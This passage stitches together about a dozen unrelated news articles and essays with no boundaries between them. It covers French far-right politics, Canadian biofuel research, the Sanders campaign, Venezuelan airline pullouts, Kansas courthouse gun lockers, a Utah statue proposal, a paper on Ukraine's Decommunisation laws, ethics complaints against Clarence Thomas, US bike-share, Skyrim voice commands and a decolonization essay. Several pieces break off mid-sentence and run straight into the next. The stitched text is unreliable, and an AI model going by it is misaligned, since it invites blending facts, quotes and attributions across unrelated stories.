to replace Marine Le Pen as party leader for the duration of the presidential campaign, had decided to stand aside over allegations -- which he strongly denies -- that he was a Holocaust denier. Jean-Marie Le Pen was expelled from the FN in 2015 for his saying that World War Two Nazi gas chambers were a "detail" of history. Follow NBC Out on Twitter, Facebook and InstagramBy Concordia University \| October 30, 2014 ADVERTISEMENT How can a struggling industry like pulp and paper in Canada be revived? According to Damien Biot-Pelletier, a Concordia doctoral candidate in biology, the answer lies in synthetic biology. “One of the by-products of pulping wood is what’s called spent sulfite liquor, which is extremely toxic,” says Biot-Pelletier, who participates in BioFuelNet Canada, a network that brings together the Canadian biofuels research community to address the challenges of an advanced biofuels industry. “What my research is looking at is transforming this toxic product into biofuel. The net result for a pulp or paper mill would be that they could essentially become biorefineries and generate new streams of income from transforming waste and wood into green energy.” In his lab at the Centre for Applied Synthetic Biology, Biot-Pelletier is building on the findings of a previous Concordia grad student: Dominic Pinel, who produced a strain of yeast that is resistant to sulfite liquor and transforms its sugars into ethanol — a biofuel. Biot-Pelletier is now trying to discover what exactly made that specific strain of yeast resistant, so the knowledge can be applied to other yeast strains and other toxic mixtures. “I’m taking the differences between this strain and wild yeast, and reintroducing them into wild yeast to see if it confers resistance and to what degree this is significant,” he says. “Once this is figured out, it can be used to engineer yeast resistant to toxic mixtures similar to sulfite liquor, and be applied to create biofuels.” Biot-Pelletier says ethanol can be used to power vehicles, but due to the amount of energy required for production, it’s not the greenest biofuel out there. “What I’m really hoping is that this research can be applied to the production of other biofuels, such as butanol and biodiesel. These fuels contain a lot more energy than ethanol, making them greener options.” The potential for producing environmentally friendly technology in the emerging field of synthetic biology is part of what drew Biot-Pelletier to Concordia. After completing a Master’s at McGill University in microbiology and immunology, he was itching to undertake applied research that could make a difference. “I knew I wanted to get into synthetic biology and Concordia’s Centre for Structural and Functional Genomics is the only place in Canada that offers applied research opportunities like this.” For Biot-Pelletier, the real potential of his research lies in restoring balance in an industry that puts so much pressure on the environment. “Right now we are burning biomass from the ancient past and releasing carbon into the atmosphere. When you produce fuel from biomass, you insert our fuel consumption into the natural carbon cycle.”“The campaign is moving so fast the infrastructure can’t keep up,” Sanders confesses. “It sometimes reminds me of a military campaign, where the front line of the army is moving faster than the supply chain.” Since Berniemania began this summer, he and a small band of aides have been scrambling to turn it to their advantage. You don’t often hear politicians admit that they didn’t expect to catch on. But Sanders and his team have a bracing habit of saying things politicians and their aides are not supposed to say—a minor violation of norms that reminds you how accustomed we are to being lied to in politics. Another basic tenet of campaign spin is that consultants must never admit their candidate isn’t totally perfect, but Sanders’s people apparently missed that lesson as well. “I give him advice—not always advice that he follows,” says Tad Devine, the veteran Democratic consultant, a former adviser to Al Gore and John Kerry, who is Sanders’s top strategist. “He is not interested in the niceties of appearance and hairdo.” Sanders’s communications director, Michael Briggs, adds: “He goes on for an
a dispute between two political parities — the opposition and the ruling government. READ MORE: Venezuela crisis: Hundreds of thousands hit streets to mark 50 days of anti-regime protests At least 60 people have died since the protests began more than two months ago. Those taking to the streets are demanding an early election, and help amid economic difficulties and food shortages. WATCH: Venezuela unrest Many airlines have cited security reasons for cutting down flights, specifically the safety of their workers living in Venezuela. Flight demand from tourists has also been dropping due to the violence. Air Canada, which stopped flights to the country in March, said they will resume service once the company is “satisfied that the situation in Venezuela has stabilized.” However, it’s unclear when that will happen. On Monday, jailed Venezuela opposition leader Leopoldo Lopez called for protests to continue. The government of Canada is urging residents to avoid non-essential travel to Venezuela, citing a “significant” level of violent crime, political instability and the decline of basic living conditions. But the anti-government unrest isn’t the only reason airlines are leaving the country. READ MORE: Trump administration concerned by U.S. firms propping up Venezuela’s Nicolas Maduro Many airlines have left after a dispute over billions of dollars they say the Venezuelan government owes them. They claim President Nicolas Maduro’s administration failed to reimburse companies in hard currency for ticket sales in local currency, as per strict currency controls in the socialist nation. According to the International Air Transport Association, Venezuela owes airlines $3.8-billion. – With files from Reuters, The Associated PressThe Sedgwick County Commission voted last week to spend $64,000 in tax payer money on an area for gun lockers in the courthouse lobby. Chairman Jim Howell says the idea was motivated by concerned citizens who said they wanted to carry their firearms to the courthouse door for protection. "As they visit our building they say it frustrates them that they've got to leave the gun in their car. They don't feel safe between the car and the courthouse," said Howell. Howell says dozens of people contacted him, concerned about disarming outside the courthouse. He says those conversations led to the decision to go forward with the project. We filed open records requests to get emails to any commissioners about gun lockers or disarming outside the courthouse. The records show no one contacted them about the issue until after it was already on the meeting agenda. Howell says he does not have a record of anyone requesting a service such as a gun locker in the courthouse lobby. In more than a dozen emails three supported the idea of gun lockers, most opposed it. Some said they didn't have a problem with the idea but didn't want their tax dollars paying for it. Howell says the emails are not an accurate representation of the people in Sedgwick County. "There are some people out there who don't like guns and don't like other people to have guns, and they are very vocal," said Howell. Howell told us he can recall certain people he's had conversations with about this issue, but says he will not release their names because they were private conversations. Emails show Howell started researching gun lockers back in December of 2015. Howell says it is still possible the commissioners will choose to charge a small fee for checking a gun in the courthouse lobby. That could offset some of the construction cost.When he was a young intern for Congressman Rob Bishop in Washington, D.C., Adam Gardiner would lead visitors through the National Statuary Hall Collection in the U.S. Capitol, where two figures of historical significance represent each state. Brigham Young, the larger-than-life Mormon leader who led pioneers to the Salt Lake Valley and established it as a crucial crossroads in the Western U.S., is the subject of Utah’s first statue. But Gardiner never felt satisfied when he would walk people to the statute of Philo T. Farnsworth, the Utah-born man who pioneered television technology. “Philo T. Farnsworth was never an exciting Utah story to me,” Gardiner said, noting that Farnsworth spent much of his life in Idaho. “I actually spoke with Congressman Bishop and said, ‘Isn’t there someone from Utah that would be better represented in the Capitol?’” “Here‘s Philo Farnsworth and he’s holding a sausage.” — Rep. Rob Bishop (as recalled by his former aide Adam Gardiner) The former intern, now a state legislator, says the answer to that question is a resounding “yes,” and he’s working on drafting a bill that would swap Farnsworth’s statue with one of Martha Hughes Cannon, which now sits outside the Utah state Capitol. Cannon is notable as the first woman in the country elected to a state Senate seat. For Gardiner, it’s not just Farnsworth’s ties to Idaho that make him a mediocre symbol for Utah. “When I would go on tours with Congressman Bishop and he was leading the tours, he would always say, ‘And here’s Philo Farnsworth and he’s holding a sausage’ and that was all he would say,” Gardiner recalled. “Hardly anyone could correct him because no one knew who this person was.” Many may also be unfamiliar with the story of Cannon, a Mormon pioneer who earned a medical degree from the University of Michigan. But Gardiner said the polygamous wife and suffragette, who defeated her own husband when she won her state Senate seat in 1896, would represent a key piece of Utah’s history on D.C.’s national stage. An 8-foot-tall bronze statute of Cannon was erected in the Utah state Capitol in 1996 and about a decade later was moved outside into the Capitol plaza, where it stands today. Steve Griffin \| Tribune file photo Current and former women Utah legislators pose for a photograph with the Martha Hughes Cannon statue outside the state Capitol in Salt Lake City, Wednesday August 15, 2012. The women gathered at the Capitol for a screening of the KUED documentary on Cannon, the first women state senator in the United States. In the photo are (front row) Peggy Wallace, Beverly White, Karen Shepherd, Olene Walker, Becky Lockhart, Margaret Dayton, Chris Fox Finlinson, Carol Spackman Moss, Paula Julander, Alicia Suazo and Karen Morgan. (Back row) Nancy Lyon, Carlene Walker, Patrice Arent, Lou Shurtliff, Trisha Beck, Rhonda Menlove, Sheryl Allen, Merlynn Newbold, Becky Edwards, Marie Poulson, Jennifer Seelig, Jackie Biskupski, Christine Watkins, Karen Mayne, Rebecca Chavez Houck, Darlene Gubler and Pat Jones. “What I would like to see happen is for the Martha Hughes Cannon statue to be moved into the U.S. Capitol on the anniversary of the 19th Amendment in August 2020,” Gardiner said. “I think it would be cool to show that Utah as a state — as a territory — granted women suffrage 40 or 50 years before the federal government recognized it.” Gardiner said he’s received positive feedback about the proposal so far. Sen. Todd Weiler, R-Woods Cross, will be sponsoring the bill in the Senate and may be taking the lead on it if Gardiner, who is running to be interim Salt Lake County recorder, wins the full-time post later this month. Weiler said he’s had an interest in replacing Farnsworth’s statue for several years, spurred by tours he’s led of Utah’s Capitol. “He‘s been sufficiently honored and I think it’s time for someone else to have the spotlight.” — Utah Sen. Todd Weiler. “I’m surprised at how many Utahns — how many of my constituents and others — are unaware that Utah has that great legacy with [Cannon],” Weiler said. “It’s such a great story.” There are two requirements for a state to replace one of its stone structures in D.C.’s National Statuary Hall Collection: the Legislature must adopt a resolution for replacement signed by the governor and the statue being replaced must have been displayed in the Capitol for at least 10 years. Farnsworth’s statue has been on display since 1990 — 40 years after Young’s statue was placed in the nation’s Capitol. At the time the Legislature selected Farnsworth to represent the state in 1987, Utah was one of six states that had only one statute in D.C. (Thomas Burr \| The Salt Lake Tribune) A statue of Brigham Young, who led the Mormon pioneers to the Salt Lake Valley, is one of two statues of Utahns in the U.S. Capitol. The other pays tribute to Philo T. Farnsworth. There was no real effort to commission another Utah statue, so Farnsworth became Utah’s choice largely due to heavy lobbying by schoolchildren from Ridgecrest Elementary School in Cottonwood Heights, according to an archived article from the Deseret News. Though the state approved the statue, the Legislature didn’t fund the $250,000 members estimated at the time that the statue would cost. Rather, the bill was paid by private donors. Weiler and Gardiner said their plan, if approved, would also fund the endeavor without taxpayer money. They expect to see support from both sides of the aisle, and Weiler said the only ones he believes might oppose the move would be Farnsworth’s family. “I think Philo’s descendants are not going to like it,” Weiler said. “They’re very proud of him and that’s something that I’m sure that they’re going to see as somehow disparaging him, but that won’t be my focus. I think he’s been sufficiently honored and I think it’s time for someone else to have the spotlight.” tstevens@sltrib.comThe recent commemorations of victory in World War II illustrate the growing divide between Russia and Ukraine, one that mirrors their current conflict over Crimea and parts of eastern Ukraine. Whereas Russia celebrated the traditional May 9 with ceremony and military swagger, in Kharkiv, Ukraine, clashes broke out between pro-Russians and young Ukrainian nationalists.[i] A rift between Ukraine and Russia has been growing for the past two years. Opinion polls show that attitudes towards Russia have changed markedly for the worse even in regions of Ukraine traditionally friendly and Russian speaking. The change of attitude is largely a result of Russia’s annexation of Crimea and its role in the conflict in eastern Ukraine, but it is also about interpretations of the past and defining national identity. World War II figures prominently as an area of acute dispute and propaganda, on both sides. This paper will discuss Ukraine’s relations with Russia in two distinct ways. First, it will look at the current ramifications of the Minsk Protocols, which brought an end to full-scale fighting, and the extent to which they are likely to be fulfilled. Second, it will analyse the “Decommunisation” campaign in Ukraine that is under the control of the Institute of National Memory (INM). The ostensible goal is to eradicate any vestiges of Communist influence in Ukraine, but the program has taken on a distinctly anti-Russian hue that will clearly have an impact on bilateral relations. The underlying question is: Could Ukraine sever relations with Russia completely, which appears to be the theme of the current changes embraced by the March 2015 “Memory Laws” and the enforced abolition of leftist political parties that originated in the Soviet period or shortly thereafter? And if so, what would be the chances of success in building a new pro-European path? Is Decommunisation a valid, or even advisable route to take? The Minsk Protocols and Their Fulfilment The Minsk Protocols were signed in two stages under the auspices of the Organization for Security and Cooperation in Europe (OSCE) in September 2014 and February 2015. The text of the second in many ways repeated the principles of the first and the signatories were Ukraine, Russia, the OSCE, and the two separatist “republics” of Donetsk and Luhansk (DNR and LNR). The September meeting in Minsk was preceded by the battle of Ilovaisk, in which regular Russian Army troops surrounded Ukrainian battalion volunteers and carried out a massacre. The losses sparked a political crisis and induced Ukrainian President Petro Poroshenko to accede to a demand for a ceasefire. Earlier his ATO (“Anti-Terrorist” Operation) forces had gradually been regaining Ukrainian territory from the separatists. Thus, the Minsk meeting took place with Ukraine in a very weak position. Likewise but to a lesser degree, the final signing of Minsk-2 followed a separatist victory at Debaltseve, a vital rail link between the two main cities in rebel hands, Donetsk and Luhansk. The terms of the protocols not only forced Ukraine into responding to earlier decentralisation demands with a new programme that recognises the special status of Donetsk and Luhansk oblasts, but also it “de facto” offered some form of recognition to the existence of the “Donetsk People’s Republic” (DNR) and “Luhansk People’s Republic” (LNR). The two separatist regimes officially lack recognition from any state, including the Russian Federation, thus in many ways the Minsk Protocols provided them with a lifeline.[ii] As a result of these treaties, one opposition leader and former Prime Minister Yulia Tymoshenko, declared that the changes would destroy the sovereignty of the Ukrainian state and its territorial integrity. She added that decentralisation represented “behind the curtain deals between the Kremlin and Ukraine’s ruling elite”. The Protocols also stipulated that the Ukrainian authorities should schedule local elections by the end of 2015 based on the law of Ukraine and the constitutional reforms, after which within 24 hours, Ukraine would reinstate “full control of the state border” with permanent laws in place for the “special status” of Donetsk and Luhansk. That deadline passed almost five months ago and perhaps unsurprisingly the separatist authorities have delayed elections, though they did agree last October not to hold them “autonomously”. In similar fashion, changes to the Ukrainian Constitution await ratification. The removal of Arsenii Yatsenyuk as Prime Minister and his replacement in April by former Speaker Volodymyr Groysman has produced what one Ukrainian observer refers to as a “government of shame”, made up of oligarchs and enhancing further the powers of the president. Yet the government is having difficulties revising the Constitution and a referendum may be needed to induce parliament to push through the changes mandated by the Minsk Protocols. Russia has remained adamant that these amendments are the only means to reach a more permanent solution, but according to the US Mission to the OSCE, there were over 1,000 violations of the ceasefire by the pro-Russian separatists on May 8th alone. Ukrainian analysts also maintain that it is Russia, rather than Ukraine that is violating the Protocols. Oleksii Haran (Kyiv Mohyla University), for example, responds to European critics with a question: how can Ukraine be expected to implement, for example, point 11 of the agreement—constitutional reform leading to a new Ukrainian Constitution that includes reference to the status of Donetsk and Luhansk oblasts—when point two and three have not been fulfilled yet. That reference pertains to the withdrawal of heavy weapons by both sides in the conflict and effective monitoring and verification of the ceasefire agreement by the OSCE. Haran expresses his scepticism toward the latter organisation, which, he says, has no experience of running military missions. The Minsk Protocols have thus placed Ukraine in a complex situation. It was obliged to sign them because of its weak miliitary position, but cannot fulfill them without prior moves by its separatist opponents. The OSCE, however, lacks “unfettered access” to separatist enclaves and, as demonstrated by events such as the May 9, 2016 Victory Day commemoration in Luhansk, the separatists possess many modern heavy weapons, especially sophisticated tanks, that were manufactured in Russia. The DNR and LNR hence pose questions for the Ukrainian government that are no nearer to resolution than they were in February 2015. On the other hand, if a situation were to develop in which elections took place in these regions and they acquired the much-heralded special status, how much control over them would Kyiv actually have? Decentralisation, a process welcomed by the EU, weakens the central government and raises the possibility of other regions of Ukraine expressing similar sentiments and demands for local control. Decommunisation Simultaneously, the country has embarked on a campaign to fulfill the so-called Memory Laws introduced in March 2015 to eliminate all vestiges of Communism and Nazism in Ukraine. This “crusade”, pioneered by Volodymyr Viatrovych, head of the Institute of National Memory (INM), might be dismissed as secondary to the actual conflict, but the way in which it has been implemented seems guaranteed to exacerbate problems with Russia and divide Ukraine. Indeed, Decommunisation is intrinsically and unabashedly directed against Russian influence in Ukraine. When the parliament passed an updated decree “On renaming some settlements and districts” on February 4, 2016, Andrii Parubii, Deputy Speaker of Parliament (he is now the Speaker) referred to the decree on his Facebook page as “exorcising the demons of Russkiy Mir.” Communist names, in his view, are symbols of humiliation and enslavement of Ukrainians.” Viatrovych has claimed that the demand for name changes, as well as the dismantling of Soviet-era statues, first and foremost those of Lenin, is linked to changes of interpretation of the past, and particularly the perception of “heroes” such as the Organization of Ukrainian Nationalists (OUN) and Ukrainian Insurgent Army (UPA), cited in the Memory Laws as among the builders of an independent Ukraine. The leaders of these organisations, particularly Stepan Bandera (leader of an extreme faction of the OUN from 1940), are to acquire streets in their names in all major cities of Ukraine. For example, in Kyiv, if accepted by the City Council, the new Bandera Street would replace Moskovskyi Street (it also houses the Russian Embassy!). The avenue of General Nikolay Vatutin, who was assassinated by Ukrainian nationalists, would be known as Roman Shukhevych Avenue, thereby commemorating the leader of the assassins. The anti-Russian symbolism of the change could hardly be missed. Viatrovych insists that disputes over the past between Ukraine and Russia are not simply arguments, but military confrontations because “today’s Russia is built on imperialism.” At the same time, the local role is limited to discussing names proposed by the Institute of National Memory, not alternatives or the retention of the original name. The INM faces a problem with Kirovohrad (named after Sergey Kirov, who was leader of Leningrad until assassinated in late 1934), where according to a poll of April 2016 a majority of the citizenry (56.9%) prefers to keep the current name, 30.6% want the former name of Ielysavethrad (after Saint Elizabeth, i.e. former Empress of Russia and thus offensive to Viatrovych), and only 4.2% back Kropyvnytskyi, the name recommended by the profile committee of the Parliament. One of the suppositions of Decommunisation is that in a few areas of Ukraine, and especially the “Donbas”,[iii] a “sovok” mentality prevails. The term is derogatory and refers to those people indoctrinated by the Soviet Union that have retained the former Soviet mindset. By implication it is an “incorrect” attitude, and Viatrovych and others regard it as something that needs to be eradicated. Haran and analyst Svyatoslav Pavlyuk agree that: “sovok dwells not in monuments to Lenin, but in our motivations and actions.” Interviewed on Ukraine’s Channel 5 (May 3, 2016), Viatrovych declared that: “occupied Donbas is an island of sovok, and sovok is the main reason behind the war that happened there. The Donbas is a successful example of the Soviet-era attempts to create a ‘Soviet Man’.” Donbas and Ukraine represent two different worlds, in his view: one that tries to live in the 1970s and 1980s and one that has returned to its “national, religious, and European roots.” The isolated community of sovok in the Donbas presages the “beginning of the end of Russia in its present form”. It would be difficult to find a more emphatic dismissal of a region that only four years ago was Ukraine’s most powerful economic sector, the leaders of which comprised most of the Cabinet of Ministers. Defects of Decommunisation On February 24, 2016, German historian Karl Schloegel commented that the dangerous aspect of the Ukrainian approach to Decommunisation was the monopolist position of the Ukrainian Institute of National Memory, which has too much control over a process that should be pluralistic and involve the general public, historians, and academic institutions. It is essential in his view “not to turn decommunisation or desovietisation into a battleground for political games and not to enforce it from top to bottom”. Yet that is precisely what appears to be happening, with threats increasing to those mayors (including incidentally Kyiv’s Vitalii Klychko) who make arguments in favour of the retention of monuments of artistic value. On a broader level, Decommunisation has resulted in a ban not only on the Communist Party, which failed to gain representation in Parliament in the most recent elections, but also the Socialist Party (only created in late 1991 after the Communist Party was banned) because of alleged violations of the law banning totalitarian symbols, which were the subject of an analysis by a commission of the Ministry of Justice. The Commission reached the conclusion that the party program falls within the new regulations, but the party symbols, which include the hammer and sickle, represent a violation. The conclusion was based on the “expertise” of the Ukrainian Heraldic Society headed by Andrii Hrechylo. Conclusion Thus at this stage of the Viatrovych-led program, an observer might question the methods used to introduce changes, which are imposed from above, with minimal discussions, and as historian Georgiy Kasianov notes, reminiscent ironically of the way in which Communist names were imposed earlier. One goal, which is frequently stated explicitly, is to move Ukraine away from Russia and eliminate any vestiges of symbols of cooperation, with perhaps the sole remaining exceptions being the Rodina-Mat (Motherland) monument and the Museum of the Second World War. Another is to glorify two nationalist movements representative of a small area of western Ukraine—the imposition of a regional narrative to the entire history of the country, which is both misleading and divisive. Regions of Ukraine have their own singular histories and what is lacking is a unifying narrative and common “heroes” during a time of prolonged crisis. The discipline of history, also, has never been black and white; there is no single correct version of events, and the attempt to construct one, depicting Russia as the evil “other”. represents a mode of thinking ironically as one-sided as the earlier Soviet interpretations. Whereas Russia is conducting a hybrid war against Ukraine, the INM has responded with a propaganda war that not only attempts to cleanse the country of everything Soviet, but also anything linked to Russia. Decommunisation is thus a means to take Ukraine out of the Russian orbit and to create and infuse a new nationalist mindset. It is not unique since similar practices have taken root in Poland and the Czech Republic, and other states. But, it will of necessity and intent have a negative impact on relations with the Russian Federation that may continue long after Vladimir Putin has left political office. [i] The author wishes to extend thanks to his PhD student Ernest Gyidel for assistance and ideas used in this paper. [ii] South Ossetiya, itself a disputed region of Georgia, is to date the only entity to recognize the DNR. See http://tass.ru/en/world/738110. [iii] The term is inaccurate in that the Donbas is most often used to refer to the coalfield that also extends into the Rostov region of Russia. Here, it pertains both to the parts of Donetsk and Luhansk that have fallen under separatist control and also to those areas that are still controlled by the Ukrainian government, as well as to Russian-occupied Crimea.Looking for news you can trust? Subscribe to our free newsletters. If Clarence Thomas was hoping that liberals might just forget about his cozy ties to a Dallas real estate developer, or his failure for a decade to disclose the hundreds of thousands of dollars his wife earned from a conservative think tank, well, he would be wrong. As President Obama’s health care reform bill gets closer and closer to a hearing before the high court, liberal groups are continuing to press for some sort of disciplinary action against Thomas, or at least to force him to recuse himself from hearing the health care case. To that end, on Tuesday, the left-leaning Alliance for Justice and the good-government group Common Cause asked the Judicial Conference of the United States, which oversees the federal courts, to investigate whether Thomas violated the Ethics in Government Act. The groups allege that Thomas may have violated the act when he failed to disclose his wife Ginny Thomas’s compensation—upwards of $700,000—from the conservative think tank Heritage Foundation. The groups also are asking the Judicial Conference to investigate whether Thomas may have failed to report travel paid for by the Texas real estate developer Harlan Crowe, as reported by the New York Times. The Judicial Conference was holding its semi-annual meeting in DC this week when the advocacy groups sent their letter. If the Conference concludes that the allegations have merit, federal law requires that if it “has reasonable cause to believe has willfully falsified or willfully failed to file information required to be reported” it must refer the case to the attorney general. Common Cause president Bob Edgar said in a statement Tuesday: In America, no one is above the law, including Supreme Court justices. For more than a decade, Justice Thomas omitted information about his wife’s income, clearly required by the Ethics in Government Act, from his annual financial disclosure report. Surely such a repeated violation, by someone entrusted to apply laws far more complex than the Ethics Act, at least deserves a formal review by the Judicial Conference and the Attorney General. Odds are slim that even the Judicial Conference is going to ask Eric Holder to investigate Thomas. But you can’t really fault them for trying. Thomas’s lapses seem egregious enough for some higher authority to take a second look. Unfortunately, thanks the the separation of powers doctrine, there really isn’t a higher authority when it comes to the Supreme Court. Some members of Congress are trying to change that. Also this week, the Alliance for Justice has been trying to rally support for congressional hearings on a bill introduced earlier this year that would force Supreme Court justices to be covered by the code of conduct that applies to other federal judges and create new procedures for when a justice may have to recuse from hearing a case. Given that virtually no Republicans have signed on, this law, too, has no hope of going anywhere, at least not any time soon. But the Democrats behind it get points for trying anyway. *As a completely unrelated side note, Thomas came to mind as I was reading this article earlier this week about how NASCAR has started installing solar panels and recycling and employing flocks of sheep to mow the track lawns. I have to wonder whether Thomas, a former Monsanto employee, might have second thoughts about his anti-environmental positions now that even NASCAR has gone green. A little-known fact about Thomas is that in his spare time, he and Ginny drive their gas-guzzling, 40-foot custom-built bus to NASCAR races, where they hang out with ordinary Americans who often don’t even recognize the Supreme Court’s most bitter member. Perhaps some of NASCAR’s new-found environmental consciousness will rub off.The American Bike-Share Fleet Has Doubled Since January This has been an epic year for bike-share in America. According to a report from the Earth Policy Institute, the opening of Bay Area Bike Share yesterday brought the cumulative size of the bike-share fleets in U.S. cities to 18,000 bikes, more than twice what it was at the beginning of 2013. There are now 34 modern bike-share systems across the U.S. in cities as varied as Chicago, Miami Beach, and Chattanooga, Tennessee, EPI’s Janet Larsen writes in Grist. By the end of next year, Larsen anticipates the number of shared bikes available to the American public will have doubled again. The year-to-date numbers in 2013 have been bolstered by the opening of New York’s Citi Bike, with 6,000 bikes, and Chicago’s Divvy, with 1,500. Both cities intend to grow their systems substantially. Several smaller systems launched in 2013 as well, including ones in Aspen, Columbus, Fort Worth, and Salt Lake City. Still, the scale of bike-share systems in U.S. cities trails the size of leading networks in Asia and Europe, Larsen writes. Citi Bike is North America’s largest bike-share system, but it barely cracks the top 20 list of the world’s largest. In first place is Wuhan, China, with 90,000 bikes.They've sort of added multiplayer to Skyrim via the game's new Kinect voice-control update. Not real multiplayer. Not the kind that lets two people play the game together or against each other. No, they've simply added voice commands. But when a friend barges in on your gaming session and yells "ally attack" and then "quicksave" while you're just visiting a town, well, you get the best kind of griefing that you usually can only get from multiplayer games. "Ally attack" will start fights in towns where your friend might not have wanted to start fights. This will begin the bloodbath. And "quicksave" will simply overwrite your friend's last quicksave. Walk in on your Skyrim-playing friends and do this to them. They'll love it! (They won't.) Advertisement The aggrieved player will probably want to reboot the game or at least load an old save to revert to their more peaceful version of their adventure. Think of the fun you can have with this! Surely, this is why they didn't make Kinect voice controls speaker-specific, right? Microsoft wanted to encourage people to mess with each other. That's my theory, at least.By Ana Oian Amets and Christine Blachly, Awakening the Horse People (also available in printable PDF format). We offer gratitude to our Iladurrak asabak as well as our Lakota, Anishinabek, Chichimec – Comanche, and Ch’orti’ Maya family who have shared their love, homes, and understanding with us along bizibideak – the path of life. We look to Amalur and the ahaikoak of our european home places and Turtle Island whose freedom and resilience inspire us to carry on… Openings As a small family of decolonizing white settlers on the Indigenous lands of Turtle Island, our stories are full of evolving contradictions. Our direct ancestors were early colonizers of Turtle Island or the Island Hill, known to most by its colonial name of North America. As adventurers, profiteers, or refugees from religious or political persecution, they left europe to join the overlapping waves of settlement that blanketed the Atlantic shoreline in the 1600s. Regardless of their reasons for coming to Turtle Island, our immediate families directly participated in, and continue to profit from, the ethnic cleansing of Atlantic coast and eastern woodland Native peoples including the Haudenosaunee, Lenape, Reuckowacky, Merockes, Matinecock, Massapequas, Quinnipiac, Matinecock, Pequot, Wompanoag, Massachusett, Nottoway, and Powhatan nations, as well as the forced labor of Indigenous Afrikan peoples removed from their homelands. To reconcile the complex, inter-generational stories that shape who we are, we have committed to movements of decolonization and ancestral recovery. By growing deep togetherness with our ancestors and relatives, we are remembering and revitalizing our common culturous roots from the Indigenous Aquitanian peoples of southern france, survived today in Eskual Herria. We also recognize our diverse heritage from other peoples such as Gaelic Celts, Pictish Scots, and Germanic Suebians. What was dormant in us is renewing itself again. As a consequence of our commitment to decolonizing movements, we find ourselves an invited part of Indigenous resistance with the Tetuan Lakota Strong Heart Warrior Society known as the Cante Tenza Okolakiciye. We have become family to members of this society. In togetherness with our Strong Heart family, we share the dream of returning wholesome lifeways that reflect the sacredness of creation and allow all beings to thrive in their natural embodiment as relatives enriching the interconnected web of life in a place. With our own stories in mind and with encouragement from our Strong Heart family to, “hold white people accountable” we would be grateful if the following article can invite real and lasting conversations among white settlers of european heritage regarding the role of resistance within movements of ancestral remembrance and decolonization. While we believe Indigenous peoples have clearly communicated their needs to decolonizing white settlers, we find a shortage of supporting settler narratives that are strong, thoughtful and originating from direct experience. With these thoughts we hope to share clear, heart-felt, and provocative perspectives that may aid healthy integration of resistance into movements of decolonization by people of european heritage. While this particular conversation centers settler relationships with Indigenous peoples of Turtle Island and Abya Yala (the american continents), we acknowledge the tangled web of settler relationships that include displaced people of Afrikan descent and other Peoples of Color who have been coercively brought inside of the colonial settler-state as a consequence of its militarism, economic desires, and nation building. This is just one decolonizing conversation of many that settlers must face in order to clearly see the consequences of euro-centric colonialism and grow deep understanding that allows collective resistance against colonial assaults on life. Note: We have included provocative quotes from Native people regarding decolonization and resistance. These quotes are separated out as much as possible from the main body of the article to respect their sovereign voice. Links to the original source have been provided when available (at article end) and readers are encouraged to center these and other Native perspectives in this conversation. Renewal For most people of european heritage, decolonization begins as tentative steps towards healing the impacts of colonization within the individual self, rather than collective resistance against colonization undertaken by a family, clan, community, society, tribe, or nation. These personal movements often originate as efforts to identify ancestors and ancestral places of origin, reconnect in nature, understand the spiritual nature of life, examine one’s white privilege, or create change through activism. There are many reasons for this initial focus on individual experience, but the absence of an indigenous, place-based cultural identity is perhaps the most significant reason why decolonization usually begins as an individual pursuit by people of european heritage. As a person moves deeper into authentic acts of decolonization, the emphasis on individual movements will be called into question. These questions will rise internally as one grapples with a growing awareness of being deeply interconnected with other life. These questions will also arise externally from Indigenous people and their allies who are wary of euro-centric acts of “self-improvement” that do not actually challenge the colonial mindset and its destructive behaviors inflicted upon Indigenous life. “Decolonization is the intelligent & active resistance to the forces & the impacts of colonization & it’s working towards liberation of indigenous peoples…. So if you are not actively working toward the liberation of indigenous people, as indigenous people or as settler people, then you’re not doing decolonizing work.” Waziyatawin – Pezihutazizi Otunwe Dakota Authentic decolonization will so profoundly provoke an awakening understanding of who you are and where you come from that it radically transforms one’s relationship to self, people, place, and all life. The renewal and rebalancing of these relationships breaks the greedy cycle of disassociation, desperation, and destruction that fuels the colonial disorder within an individual. When this renewal of relationships is presently active within groups of related people, then decolonization can grow into collective actions to resist and dismantle colonialism at multiple levels in order to return Indigenous lands and lifeway. This is the realization that fully healing one’s inner relationships of self is impossible without renewing relationships of love and togetherness with other peoples and life forms. Remembrance Authentic acts of decolonization provoke unsettling questions that go to the heart of white and settler privilege, and confront settlers with our uncertain futures on the stolen Indigenous lands we inhabit. As we feel the anxiety of surrendering our privilege, it is tempting to look for ways to preserve our comforts. Concepts that look similar to decolonization become more attractive even though they may not create fundamental change to our relationships with life. These diversions are traps that simply insert us back into colonial systems of privilege, consumption, and denial. “So let’s toss out a different kind of ‘progression’ to all you…liberals and occupiers out there. You join us in liberating our land and lives. Lose the privilege you acquire at our expense by occupying our land. Make that your first priority for as long as it takes to make it happen…but if you’re not willing to do that then don’t presume to tell us how we should go about our own liberation, what priorities and values we should have. Since you’re standing on our land, we’ve got to view you as another oppressor trying to hang onto what’s ours.” Yet-Si-Blue (Janet McCloud) – Coast Salish Tulalip The simple truth is: we cannot avoid facing our uneasy and unsettled relationships to the Indigenous peoples and Indigenous lands that we occupy. If we do not relinquish our settler privilege and grow healthier relationships with Indigenous peoples, life, and lands on their terms, then we will only be skimming across the surface of decolonizing movements, creating the appearance of transformative change, but actually cementing our occupation and theft of Indigenous lands and cultures even more firmly into the continent’s already bloodied ground. Turtle Island is beautiful but bloodied land, under siege since 1492 and still in active resistance to euro-centric colonization and settlement. She continues to yield the bounty of riches we live on today, derived from the continued thieving and pillaging of Indigenous life forms. And she is ever the storyteller of the genocide begun by our ancestors. While settlers claim to love this beautiful land – without the vital presence and consent of its Indigenous human peoples, such love is racist and self-serving. If one is going to truly love the land, then that love will embody Indigenous peoples thriving on that land as an integral and inseparable aspect of the cultural and ecological landscape. But too often, our so-called love is the possessive adoration of “wilderness” and natural places violently emptied of Indigenous peoples through
